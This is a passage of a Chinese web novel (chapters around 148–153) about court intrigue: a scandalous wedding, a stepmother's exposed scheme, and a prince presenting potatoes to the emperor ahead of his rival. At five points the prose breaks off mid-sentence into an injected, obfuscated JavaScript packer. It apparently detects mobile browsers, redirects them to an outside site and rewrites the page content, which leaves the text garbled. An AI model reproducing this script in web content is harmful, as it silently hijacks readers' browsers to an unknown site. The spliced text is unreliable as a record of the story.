陆映溪气得脸色铁青。 “你一个做了两次鳏夫的人,谁知道你是不是克妻?有什么资格嫌弃我?” 克妻两个字似踩到了姜家人的痛脚,立马叫他们齐齐变了脸色。 姜星熠眼神阴鸷,“我就算克妻,日后想再娶一门也根本不费吹灰之力,只是不知,你的名声如此不堪,是否还能有人家敢要!” 陆映溪寸步不让,“那就走着瞧!” 真以为全天下就他一个男的不成? 姜永康的脸色十分难看,“陆大人,我姜家庙小,装不下令爱这尊大佛,两家的亲事,就此作罢。” 陆贯轩急道:“不可!” 他气得脸色铁青,却不得不在姜家人面前低声下气。 “姜大人,两家亲事的流程都走完了,如何能说作罢就作罢?” 真要被退婚了,陆家就彻底变成了一场笑话! “那逆女便交由你们姜家处理,我不会再过问半个字。从此以后,我就当没生过这个女儿!” 陆映溪彻底呆住。 方氏惊呼,“老爷!您怎能如此绝情?” 陆贯轩恨声,“这门亲事是她自己亲口答应的,临了她又闹出这么一场笑话,我只恨当初没有在她刚出生的时候就亲手掐死她!” 若是掐**,一了百了,也不会有今日这番笑话。 这话说得狠绝,方氏的身子一阵趔趄,陆映溪更是脑子一阵嗡嗡作响。 父亲不愿接纳她,执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162004|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意要把她嫁入姜家,此举,无异于将她推入火坑! 是,当初是她亲口答应下这门亲事,但此一时彼一时。 眼下,她背上了不洁的名声,又把姜星熠得罪了,她嫁过去哪里还会有好日子过? 姜星熠反倒开始拿起了乔,“我可不是收破烂的,什么脏的臭的都可以随随便便塞给我。” 陆映溪气得脸都涨红了,“你嘴巴放干净些!” “你既然敢做,那就不要怕我说!娶你这样的女人进门,那才是晦气!” 撂下这话,他转身便走。 这番架势,竟是真的打算撂挑子了。 陆贯轩的额角突突地跳个不停,方氏亦是脸色灰败,心如死灰。 就在这时,陆映溪胃里突然一阵恶心,她俯身便剧烈干呕起来。 方氏见此,先是一愣,旋即一股不好的预感袭上心头。 不知是谁开口,“陆二小姐该不会是有喜了吧!” 陆映溪好容易止住了干呕,有些愣怔地摸着自己的小腹,半晌没反应过来。 她的月事素来很准,但这一次,却是推迟了大半个月! 未婚先孕,此乃天大的丑闻,她更不能留在陆家了! 陆贯轩冷声道:“姜大人,溪儿已经怀上了你们姜家的孩子,说不定是你们姜家的嫡长孙,你们当真不要?” 这话成功地让原本要离开的姜家人停住了脚步。 姜星熠后院的女人不少,但却只得了个庶女。 嫡长孙的确是现在姜家最期盼的。 董氏眼底闪过一抹精明,“究竟有没有怀孕,怀了多久还未可知,还是请大夫来诊断一番更加稳妥。” 万一压根没有怀上,或者怀的时间不对,那岂不是白白赖在她儿子头上? 方氏一下就明白了她的言外之意,心中又气又恼。 但此情此景,她也不得不忍耐。 溪儿名声已经一塌糊涂,除了嫁入姜家别无选择,她肚子里的孩子,会是她最大的筹码。 大夫很快来了,当众给陆映溪诊脉。 “陆二小姐已经怀了一月身孕。” 第149章 贼喊捉贼 方氏闻言,暗暗松了口气。 看在这孩子的份儿上,溪儿在姜家的日子也能稍微好过一些。 姜永康和董氏都露出喜色。 姜星熠却冷哼一声,“谁知道那孩子究竟是不是我的?可别到头来我反倒替别人养了儿子。” 陆映溪气得胸口上下起伏,一时说不出话来。 方氏咬牙切齿,“当初在慈光寺,是你毁了溪儿的清白,时间也对得上,这孩子不是你的是谁的!” 姜星熠说话越发不客气,“毁了她清白的又不止我一个,说不定我压根就不是头一个,只是倒霉被讹上了罢了!” 这话混账极了,饶是陆贯轩气恼陆映溪自作自受,也被姜星熠气得不轻。 陆映溪指着他怒骂,“你个畜生,闭上你的脏嘴!这孩子我这就打掉,我便是这辈子都不当母亲,也不会替你这样的畜生延续子嗣!” 说完,她抬手就往肚子上狠狠捶打,一副豁出去的架势。 方氏反应迅速,急忙阻拦。 “溪儿,你做什么傻事!你这般做,伤的是你自己的身体!为了那么一个畜生不如的人伤害自己,实在不值啊!” 陆映溪眼眶含泪,“这就是个孽畜,也没人愿意认他,还平白让我担上恶名,我留着他做什么?” 她这番狠绝的态度,终于让姜星熠有所松动,姜永康和董氏互相对视一眼,心中很快就有了决断。 董氏破天荒地露出了笑容,“这说的是什么话?这既是姜家的孩子,我们姜家自然没有不认的道理。熠儿,你说是不是?” 姜星熠依旧没有什么好脸色,但到底没再口出恶言,十分不情愿地应了一声。 姜永康也开了口,“我们断然不会让姜家的血脉流落在外,虽然方才发生了诸多不愉快,但为了孩子,先前种种,我们姜家也都认了。” 这话颇有一种大发慈悲的意思,陆贯轩脸色不好看,但想到自己女儿做的事,便只想把人嫁出去,遂不再争辩。 两家亲事继续,但再没了半点喜庆热闹。 陆映溪被姜家人请上花轿,方氏拉着她不舍松手,心中的疼惜与不安达到了顶峰。 她可怜的溪儿,以后可如何是好? 陆映溪一把将她甩开了,眼底藏着一抹深深的怨恨。 她明明说一切安排妥当了,为何自己会被抓回来?连那车夫也有问题!她害惨了自己! 方氏双手一空,心头亦不觉空落落的,更似被针扎一般发疼。 陆知苒,定是那个**在背后弄鬼! 她环顾一圈,却没有看到她半个人影。 她设计了这一出大戏,而她自己却是连面都没有露,把自己撇得一干二净。 花轿重新起轿,往姜家而去。 李根茂和秋月都被姜家带走。 姜星熠锱铢必较,更有极强的大男子主义,李根茂让他男人的颜面受了损害,定不会有什么好下场。 至于秋月,他后院的女人从不嫌多。 众宾客都看足了热闹,离开时都有些意犹未尽。 宾客离开,陆贯轩再也按捺不住,狠狠发了一通火。 “你看看你养的好女儿,简直丢尽了陆家的颜面!” 方氏的怒气也汹涌难抑,“溪儿的脑子再糊涂,也不会跟一个车夫私奔,她分明是被人陷害的!” “上次是被人陷害,这次也是被人陷害,好端端的,谁会害她?” 方氏冷冷道:“苒姐儿与溪儿速来不合……” 一道声音传来,“母亲,您这话是什么意思?莫不是怀疑此事是我所为?” 陆知苒从那头款步而来,脸上戴着面纱,遮住了她面上神色,只露出一双清凌凌的眼睛。 方氏见了她,眼底顿时喷出火来。 “究竟是不是你做的,你心里比谁都清楚,不要在我面前演戏!” 陆知苒满脸无辜,“母亲,凡事都要讲证据,不能空口白话就冤枉人呀。你说是我做了这件事,可是妹妹身边那么多人,全都是她的心腹,我如何能避开所有人把她带走呢?” 方氏狠狠一噎。 不待她再开口,一名小厮急匆匆地跑来,“老爷,我们在府门附近抓到了几个形迹可疑之人,不知如何处置……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162005|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>陆贯轩的火气蹭蹭地往上蹿,“那就送去见官!什么乱七八糟的人和事都汇报到我这里,养你们吃白饭的不成?” 那小厮看了方氏一眼,有些支支吾吾。 方氏心头猛地一跳,一股不好的预感袭上心头。 陆贯轩怒喝,“有话就直说,吞吞吐吐做什么?” 那小厮低着头,硬着头皮开口,“那些人供述称,他们是,是夫人安排,护送二小姐离开的……” 方氏高声反驳,“胡说八道!” 那小厮缩着脖子,但还是大胆地开口,“他们的身上,还搜出了官府的路引……” 方氏面色骤变。 陆贯轩接过那路引,越看脸色越黑沉,看向方氏时,眼中已经快要喷出火来。 “好啊,原来一切都是你在贼喊捉贼!方氏,你可真是好样的!” 方氏还在狡辩,“老爷,光凭他们的一面之词,如何能说明是我安排的?” 陆贯轩将路引狠狠甩在她脸上,“这是前往闽南丰台县的路引,除了你,还有谁会安排这件事?” 方氏的二哥方成才,便在闽南丰台县当地方小官,多年一直未曾调派归京。 “说不定是有心人故意为之,好嫁祸于妾身呢?” 方氏说着,双眸死死盯着陆知苒。 是她小瞧了这**,才会接连在她身上栽跟头! 陆知苒大方地迎着她的视线,缓缓开口,“母亲所言极是,万不能随便轻信了小人之言。父亲,这些路引都是有迹可循的,您派人到官府好生查一查,自然就能查到是什么人办的路引,为母亲洗清冤屈。” 方氏的脸色几经变化,眸底亦闪过一抹心虚。 这些路引,是她早早派人办下的,她虽命人小心行事,但也必然禁不起细查! 谁能料到那些人会被全部抓住? 陆贯轩见方氏那心虚之色,还有什么不明白的? 气怒之下,他扬手就甩了方氏一记耳光。 “你个蠢妇!这是要害死陆家啊!你们母女,简直是陆家的灾星,祸害!早知如此,当初,我就不该娶你入门!” 第150章 吃里扒外的东西 陆贯轩的这一巴掌用了十成十的力道,打得方氏耳朵嗡嗡地响,脸上也一片火辣辣的。 而陆贯轩的这番话,才是真正地让她心头冰冷。 曾经他们二人也有过海誓山盟,有过旁人欣羡的甜蜜,究竟是从何时起,一切慢慢变了呢? 是从陆知苒回到侯府开始! 一切都是这个**害的! “这段时间你便好好待在知春苑闭门思过!府中事物,便都交给苒姐儿料理!” 撂下这句话,陆贯轩便转身离开,没有给方氏一记多余的眼神。 方氏如坠冰窟。 失去那虚无缥缈的爱,尚且不能把方氏打倒,但管家权是她最后的依仗,连这也失去的话,她要如何在府中立足? 陆知苒一脸遗憾地望着她。 “方氏,没想到你这么糊涂,犯下如此大错,实在是不应该啊。” 一句“方氏”,直接撕破了两人伪装的面具。 方氏面容扭曲,恨不得冲上去撕了她。 “你个**!这一切都是你的诡计!” 陆知苒面色冷然,“你们先动了害人之心,我不过是顺水推舟罢了。更何况,这门亲事本就是她自己亲口答应的,一切只是拨乱反正,不是吗?” 陆映溪一反常态地向她示好,她便顺势而为,任由她换上了嫁衣,盖上了红盖头。 殊不知,她早有安排。 她的人把秋月从窗户送进房中,又飞快地换上了嫁衣和头饰。 陆映溪的丫鬟受了交代,定然不会轻易揭开盖头。 陆映溪那边,原本接应之人也被她控制住,转而安排了李根茂,制造了一场私奔的戏码。 这戏码就算漏洞百出,但无人会听她的解释。 方氏面皮抽动。 “我定不会放过你!” 陆知苒幽幽道:“你现在都自身难保了,拿什么与我斗呢?” 方氏咬牙,“你别太得意了,老天爷不会一直站在你那边。” “那我们就走着瞧好了,且看看谁能笑到最后。” 说完,陆知苒便转身,施施然地走了。 方氏的指甲深深掐进肉里,却半分都感受不到疼。 她不会输的,她还有儿子,定能翻身! 方氏立马让人把陆君成喊来,陆君成站在知春苑,面容忐忑。 犹豫许久,他才迈步而入。 “母亲。” 方氏抬眸,眼底的癫狂让陆君成吓了一跳。 她一把抓住陆君成的手,“君儿,你要记住,你二姐姐会落得今日的下场,都是陆知苒害的!她恨我们,她是回来寻我们报仇的,现在是你二姐姐,下一次,就轮到你了!你一定要提防她!” 陆君成呆愣着没说话。 方氏咆哮,“我说的话你听到没有?” 陆君成嗫嚅,“母亲,您对大姐姐是不是有什么误解?” 他瞧见了,分明是二姐姐自己偷偷乔装离开的。 方氏闻言瞬间暴怒,抓着他的手的力道加重,他手背一阵生疼,却不敢挣扎。 “你个吃里扒外的东西,竟然帮着那**说话,你难道忘了谁才是你真正的亲人?早知道这样,当初我就该直接掐死你!” 毫不留情的谩骂朝他劈头盖脸袭来,陆君成脸色张红,心头瞬间笼上一股沉沉的灰败与阴霾。 大骂一通,方氏这才出了心中恶气。 “你要记住,只有你二姐姐才是你真正的姐姐,陆知苒是我们的敌人!你日后功成名就了,定要好好扶持你二姐姐,更要找机会除掉那**,替你二姐姐报仇!明白了吗?” 陆君成低着头,沉沉地应了一声。 方氏见他这副窝囊的样子就来气,“没用的东西,还愣着做什么?还不滚去念书!若不能考取功名,看我怎么收拾你!” 陆君成不敢辩解,转身告退。 走出知春苑,那股无形的压力却依旧久久未散,似一座大山,沉沉地压在他的肩头。 从小到大,母亲对自己似从未有过满意的地方。 对二姐姐,母亲却掏心掏肺,百般呵护。 他好羡慕,究竟什么时候,自己也能像二姐姐那样,轻易得到母亲的偏爱? …… 今日,城外锦绣坊分外热闹。 原本空旷的空地上,划分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162006|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了一个个摊位,锦绣坊招租的公告一发出,短短小半日就被抢完了。 原本萧宝珠还觉得陆知苒的租金定价有些太高,担心无人问津,事实证明,是她多虑了。 摊位分租完成,各个商家都摆出了自家的招牌商品,形成了一条琳琅满目的长街。 上回锦绣坊推出的宫廷**系列,不少人都因没有第一时间收到消息而错过了,这一回,很多夫人小姐都早早来了锦绣坊,见到这番热闹情形,便饶有兴味地逛了起来。 而真正吊足众人胃口的,是锦绣坊门口那偌大的告示:今日午时,有神秘大礼揭晓。 神秘大礼究竟是什么?大家都好奇极了,自是不会轻易离开。 各个商家便开始卖力兜售自家商品,生意十分红火热闹。 终于,午时到了。 萧宝珠现身,亲自揭秘了神秘大礼,竟是皇上用过的一方端砚。 其石质细腻,发墨如油,纹理如丝,本身就是有价无市的佳品,再加上是御用之物,更是千金难买。 不少人都已经做好了豪掷千金的准备,谁料,萧宝珠却笑道:“这方砚台不卖。” 众**失所望。 但紧接着她又道:“皇上金口玉言,此方砚台,将送给有缘人。而有缘人,将以抽签的形式选出!” 经过一番紧张的抽签,幸运儿诞生。 获奖的小姐满脸激动,同时也收获了在场所有人羡慕嫉妒的目光。 这个压轴环节,将现场氛围调动到了顶峰, 也再次让大家意识到了皇上对锦绣坊的看重。 萧宝珠抛出诱饵,“锦绣坊会不定期地推出类似活动,大家多来逛逛,说不定下个幸运儿就是你们!” 众人的期盼再次被深深勾起。 至此以后,锦绣坊每日都热热闹闹,红红火火。 萧宝珠每日屁颠颠地到德丰帝面前汇报,不遗余力地为自己和陆知苒邀功。 德丰帝大为感慨,没想到陆知苒总是能替他分忧,一次次地给他惊喜。 若户部的一众官员们都能有她一半能干,大齐的国库就不愁不丰盈了。 第151章 难得的好东西 萧宝珠的变化也让德丰帝十分欣慰。 他对这个女儿没有任何要求,只希望她健康快乐就行,但她一步步地成长令他有种吾家有女初长成的感慨。 灾民们的房屋修葺差不多完成,贺连山上的金矿亦是开采顺利,其产量远远超出了德丰帝的预期。 这一桩桩一件件大喜事,都让德丰帝龙心大悦。 冰雪消融,春暖花开,一切似乎都在朝着好的方向发展。 但也有例外。 陆映溪在姜家的日子过得并不如意。 喜宴上的那桩丑闻,让她被姜家人百般嫌弃,即便看在孩子的面上,她的待遇也算不得多好。 姜星熠更是混账,他直接抬了秋月为姨娘,陆映溪有孕无法伺候他,他就一直留宿秋月那里,将秋月宠上天。 陆映溪就算自己不愿意伺候姜星熠,但见此情形,还是气得心口疼,险些动了胎气。 她闹着回娘家,更是被姜家人阻拦。 “你怀着孩子就老老实实待着,到处乱跑做什么?是嫌你当初做的事不够丢人吗?” 这话再次把陆映溪气得不轻,却是无能为力,只能日日诅咒陆知苒,盼她不得好死! 只可惜,被她盼着不得好死的陆知苒并未受到半分影响,反而过得十分滋润。 锦绣坊之事进入正轨,萧宝珠也能歇口气,她便又邀请陆知苒到公主府小聚。 上次她们二人都对那顿烤肉甚是满意,这一次,萧宝珠便命人早早备好了各种美食,还特意准备了一些果酒。 “这些酒味道很好,半点都不醉人,待会儿我们一块儿尝尝。” 正准备开始今日的盛宴,这时,却来了位不速之客。 萧宝珠仿佛看到了一个抢食者,眼神瞬间充满了警惕,“七皇兄,你怎么来了?” 萧晏辞目光飞快在陆知苒身上转了一圈,她今日穿着一袭淡绿色绣海棠纹的褙子,配着月白色百褶裙,头上戴着一支点翠海棠簪子,簪子上的翠鸟羽毛在阳光下泛着莹润的光泽,与窗外的海棠相映成趣。 她转眸朝自己看来,耳朵上那枚珍珠耳坠在耳侧轻轻晃动,似撞在了他心口上。 不动声色地收回目光,又看向满桌的美食。 “有好酒好肉竟然不知道喊我?” 萧宝珠咕哝,“我没喊你,你不也自己闻着味儿来了吗?” 萧晏辞剜了她一眼,“瞧你那小气的样,我能把你的肉吃完不成?” “就你那牛胃,那可不一定!” 萧晏辞:…… 听他们兄妹斗嘴,陆知苒不禁轻轻一笑。 桌上摆满了各式各样的肉片,牛肉纹理分明,猪肉肥瘦相间,羊肉鲜嫩多汁,每一片都闪着诱人的光泽。 夹起一片牛肉,轻轻放在烤盘上,肉片迅速蜷缩,边缘微微卷起,表面泛起金黄,油脂渗出,香气四溢。 烤肉的香气在空气中弥漫,油脂滴落在炭火上,发出“滋滋”的声响,瞬间激起一阵白烟,带着焦香的味道直冲鼻腔。 蘸上一点特制的酱料,肉片裹满了浓郁的酱汁,入口的瞬间,外焦里嫩的口感在舌尖炸开,肉汁混合着酱料的咸香,瞬间充盈整个口腔。 咬下去,肉质鲜嫩多汁,油脂的香气在口中蔓延,带着炭火的焦香,让人忍不住一口接一口。 桌上摆满了各式小菜,泡菜的酸辣、蒜片的辛辣、青椒的清爽,搭配着烤肉,每一口都是不同的味觉体验。 炭火的热气烘得人脸颊微红,额头上渗出细密的汗珠。 萧宝珠和萧晏辞手中的动作丝毫不停,原本陆知苒因为萧晏辞的到来还有些拘谨,慢慢的,她也跟着放松下来,吃得十分尽兴。 好酒好肉好风光,那般滋味,简直赛过神仙! 萧晏辞喝着那果酒,只觉得寡淡无味,但萧宝珠和陆知苒一杯接一杯,喝得十分尽兴。 不知不觉间,陆知苒面颊的红润更甚,便如两团红云般,衬得她愈发娇媚。 微醺的状态下,她的眼神也多了几分懵懂与迟钝,萧晏辞觉得,自己似也醉了。 萧宝珠感叹,“若是阿笙在就好了。” 她也一定会喜欢陆知苒这个朋友。 陆知苒忙问,“西平的局势如何?蒋公子可有给公主回信? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162007|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说来,她也有一段时间没有收到西平那边的来信了,心中莫名有几分担忧。 萧宝珠打了个饱嗝,笑眯眯地道:“前几日刚收到她的回信,她说西平一切都很顺利,过段时日就能回来了。” 闻言,陆知苒却并未完全放心,蒋南笙写给萧宝珠的信,多半是报喜不报忧的。 她看向萧晏辞,“殿下可有收到蒋公子的信?” 萧晏辞摇头,“早前收到过一封,近日不曾收到。” 二人对视一眼,心中都有了一丝莫名警惕。 或许是他们多想了,但凡事小心为上,他们需得派人去打探一番才行。 萧宝珠没注意到二人的眼神交流,她还在那憨吃憨乐呢。 肉吃得差不多了,丫鬟们把素菜端了上来。 萧宝珠拿起一串烤的焦香的圆片,咬了一口,顿时眼睛都亮了。 “这是何物?为何我此前都没有吃过?” 丫鬟也不知道,便赶忙去询问了一番采买。 很快,采买就亲自来了,颇有些战战兢兢。 “回公主,此为洋芋,说是从外邦传来的,近日有商船从海外回来,带回来一批,奴才便买了些,若是不合您胃口,奴才这就撤了。” 萧宝珠吃得香极了,“不必,这东西好吃,你买得好,该赏!” 那采买闻言,这才露出喜色。 正准备退下,却是被陆知苒喊住了。 “此物,你采买了多少?府上可还有?” 采买立马恭敬回答,“奴才瞧着此物新奇,那人吹嘘得天花乱坠,说是味道极佳,做法多样,还便于存放,奴才便把他手里的都买回来了,大约有一百多斤。” 主要是萧宝珠嘴馋,成日让他们搜罗新奇美食,他才会如此大胆。 方才萧宝珠的态度也让他吃了定心丸,回禀起来也多了几分底气。 萧宝珠和萧晏辞都疑惑地望着她。 “苒姐姐,这东西有什么问题吗?” 陆知苒面露喜色,双眸似浸润了水汽,格外晶亮。 “这东西没有任何问题,相反,它还是个难得的好东西!” 第152章 想不想争那个位置? 前世,此物也传入了大齐朝。 就是这平平无奇的东西,不仅拥有十分美味的味道,极强的饱腹感,还具有无比顽强的生存能力,不论多么贫瘠的土地,都能存活,且亩产高达三千斤。 楚翊安无意中得了此物,进献给六皇子,六皇子派人栽种实验,验证了亩产三千斤的神话。 他立马将此物献给皇上,因此,他又立下了一大功劳,不论是在朝臣还是在德丰帝的心中又加了一分,他的地位也越发稳固,无可撼动。 前世,陆知苒只听说过此物,却从未见过,更未曾吃过。 这次她组建商船出海,便特意吩咐底下人,留意此物,一旦发现定要带回来。 不曾想,此物在这时已经流入大齐,只是尚未被人发现。 陆知苒将此物的种种优点道出,萧宝珠和萧晏辞眸底都闪过不可置信。 “当真?” 陆知苒笃定点头,“千真万确。” 她看向萧晏辞,“若殿下信得过臣女,可将此物献给皇上。能在大齐朝推广种植此物,百姓们的温饱就有了更大的保障。若殿下心下存疑,也可先派人试种一番……” 她的话还未说完就被萧晏辞打断,“不必试种,本王信你。” 萧宝珠也毫不犹豫地道:“我也信你!” 他们眸光的信任丝毫没有掺假,陆知苒心头泛起涟漪。 “你们就不问问,我是如何得知的吗?万一我说的是假的,贸然进献给皇上,非但没有功劳,还会被皇上责罚。” 萧晏辞深深地望着她,“你的话从未出过错,你就是最大的保障。” 萧宝珠小鸡啄米似的点头,“对对,你每次的预言都一说一个准,我们只管听你的便是。” 陆知苒心头涌起一股酸酸涩涩的感觉,有点沉甸甸的,但更多的是难言的感动。 原来人与人之间,也能拥有这种无所保留的信任。 只是前世的她不够幸运,没能遇到他们罢了。 陆知苒朝他们露出一抹笑来,“承蒙你们如此信任,我也定不会叫你们失望。殿下,此事宜早不宜迟,你需尽快入宫向皇上回禀此事。” 若晚了一步,被人抢了先机,那就悔之晚矣。 萧晏辞却道:“上次金矿之事,本王已经承了你的情,此次我断不能再抢你的功劳。你可随本王一同入宫。” 若父皇赏赐,她是头功。 若父皇怪罪,他便能担责。 陆知苒看着他,头一次把话说得分外直白。 “殿下,您想不想争那个位置?” 萧晏辞眸色顿深,萧宝珠也愣住了,下意识看了看周围,下人都离得远,这才放心几分。 萧晏辞的野心不再掩饰,“想!而且,本王势在必得。” “既如此,殿下就没有什么可推辞的,臣女是殿下的谋臣,为殿下出谋划策乃分内之事。这些功绩,都能成为殿下往上攀登的根基。臣女只求殿下来日荣登大宝之时,莫要忘了臣女的这份功劳。” 陆知苒的话掷地有声,萧晏辞深深地望着她。 “县主之功,本王定不敢忘,来日,必将千百倍偿还。” 若她愿意,他会将这片大好江山,尽数捧到她的面前。 萧晏辞没有再迟疑,火速入了宫。 萧宝珠好半晌都还没回过神来。 陆知苒笑,“把你吓到了?” 萧宝珠慢半拍地挠了挠头,“倒也没有,就是很意外。” 大家都是私底下藏着掖着,就算要说也是隐晦地提,谁会摆在明面上说? 尤其,这话是苒姐姐对自家七皇兄说的,她险些惊掉下巴。 不过,她好歹也是在皇家长大,见过各种风浪,很快就调整了过来。 如果说,原本一切都还是隐约模糊的,现在,陆知苒捅破了这一层窗户纸,一切就变得清晰起来。 七皇兄既然有意那个位置,自己自然全力支持,无论如何,也不能便宜了六皇兄。 萧晏辞命人抬着一箩筐洋芋入了宫,德丰帝看着这阵仗,有些懵了。 “你这是做什么?” 萧晏辞笑容满面,“父皇,儿臣给您送大礼来了。” 德丰帝看着那黄不溜秋,表皮还裹着泥的东西,眼睛里盛满了问号。 “你又在卖什么关子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162008|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧晏辞一脸正色,将洋芋的诸多好处道来,德丰帝闻言,激动得直接从站了起来。 “当真?你若敢胡言,朕可饶不了你。” “父皇不信儿臣,派人把这东西拿去试种一番便知,若儿臣有半个字作假,您便狠狠罚儿臣,儿臣定无二话。” 德丰帝想到他最近这段时日的确十分靠谱,心中的怀疑便打消了大半。 “这可是你自己说的。” “是儿臣说的,不过若是如儿臣所言,您又要如何赏儿臣?” 德丰帝哼笑,“八字还没一撇就想讨赏,你倒是不客气。你放心,到时候定少不了你的好处。” 萧晏辞心满意足,正想告退,这时有宫人入内通传,“六皇子求见。” 萧晏辞闻言,立马就不走了,十分大喇喇地坐下了。 德丰帝看了他一眼,到底没有开口赶人。 萧晏清原本满脸含笑,但看到萧晏辞的瞬间,他的笑容微微凝固。 “小七也在。” “对啊,我来向父皇请安。” 请完安了还不走? 萧晏清定定看了他两瞬,萧晏辞恍若未觉,依旧稳稳坐着没动,而德丰帝也没有赶人的意思。 萧晏清深吸了一口气,不再理会他。 正待开口,余光却瞥见了宫人正在往外抬的某样东西,他的目光瞬间顿住。 他几乎是有些失态地迈步上前,扬声问,“这,这是何物?” 德丰帝有些不悦地蹙眉,“你这般一惊一乍做什么?” 萧晏清稍稍稳了稳心神,“儿臣只是觉得此物有些眼熟,这才一时失态了。” 萧晏辞眸光微动,心中升起某个猜测。 他悠悠开口,“这是我向父皇进献的一个好东西,名为洋芋,怎么,六皇兄先前见过此物?” 萧晏清猛地看向萧晏辞,眸底瞬间燃起一簇火苗。 “你,说什么?” “六皇兄耳朵似是不大好啊。此物为洋芋,不仅味道好,产量还极高,是能替代粮食的好东西,我偶尔发现此物便第一时间进献给了父皇,希望能替大齐朝的百姓们解决温饱问题。” 第153章 捷足先登 萧晏清一口气险些没上来,面容更是有片刻的扭曲。 他竟然抢先一步把洋芋进献给了父皇! 萧晏辞故作疑惑地望着对方,“六皇兄,你怎么了?” 萧晏清咬牙切齿地问,“你是何时得的此物?可有事先做过实验?” 萧晏辞摇头,“我今日偶然尝到此物,味道极佳,饱腹感很强,又听说它好种活,亩产能高达三千斤,便第一时间将这好东西送给父皇了。” 萧晏清急道:“你只是听说,未曾验证过,如何能贸然送到父皇面前来?万一此物有什么问题怎么办?” 萧晏辞理所当然地道:“我发现了新奇的好东西,第一时间献给父皇,这有什么问题吗?此物究竟如何,父皇自会派人去试种,这就不是我该操心之事了。” 这话让萧晏清悔得肠子都青了。 原本,他占尽先机,却过于保守,白白耽搁了时间,把唾手可得的功劳拱手让人! 到底不甘心让自己的努力白白浪费,萧晏清开口,“说来,我早先便得到过此物,也听说了此物的种种好处,但到底耳听为虚,不敢轻信,我便命人试种了一番,而今尚未到收获之时,倒不想,被小七抢了先。” 萧晏辞看他那副明明十分憋屈恼怒,偏又只能忍着的模样,只觉颇为好笑。 他心里定然早就气得发狂了吧。 幸亏自己听了陆知苒的话,第一时间入宫,不然就要错失良机了。 “这么说,我这是抢了六皇兄的功劳了?” 萧晏清一梗,但当着德丰帝的面,他只能表现出兄友弟恭的模样。 “你我都是为了替父皇分忧,为了给百姓谋福,个人功劳算得了什么?若这洋芋当真能在大齐朝推广,能让百姓们都吃饱饭,我便是不要这功劳也值了。” “六皇兄大义,我这俗人实在自愧不如。父皇,您就把六皇兄那份功劳一并算在我的头上吧,我不嫌多。” 萧晏清:…… 他的面皮狠狠抽动,险些想**。 他这话说得大义凛然,为的是让父皇对他高看几眼,也能从中分一杯羹,可不是真的视功劳如粪土啊! 德丰帝将二人的神色尽收眼底,嘴角微微抽了抽。 小六这番故作姿态,遇到小七这种毫不客气的直性子,可真是吃大瘪了。 剜了萧晏辞一眼,德丰帝没好气地道:“瞧你那副德行,八辈子没见过功劳似的。行了,此事朕知道了,你们都退下吧。” 萧晏辞大喇喇地道:“父皇,别忘了您承诺过儿臣的赏赐啊。” 德丰帝语带嫌弃,“什么功劳不功劳的,等洋芋种出来了再说。小六,你可还有事?” 原本太庙祭祖之事是太常寺负责,但上回太常寺经历了一次大清洗,此事便交由礼部。 萧晏清现在在礼部轮值,他本是为了此事而来,想借此机会在德丰帝面前多刷些好感,但此时他已没了半点心思。 “儿臣是来向父皇请安的。” “你有这心便是了,朕还有政务要料理,无事便退下吧。” 德丰帝撵人,萧晏辞也不再纠缠,麻溜地告退了。 被他这么一番搅和,萧晏清所有想趁势捞功的话都说不出口,只能脸色僵硬地跟着告退离开。 离开了御书房,萧晏清的脸色再也绷不住,布满了阴沉。 “七弟当真是好手段啊!” 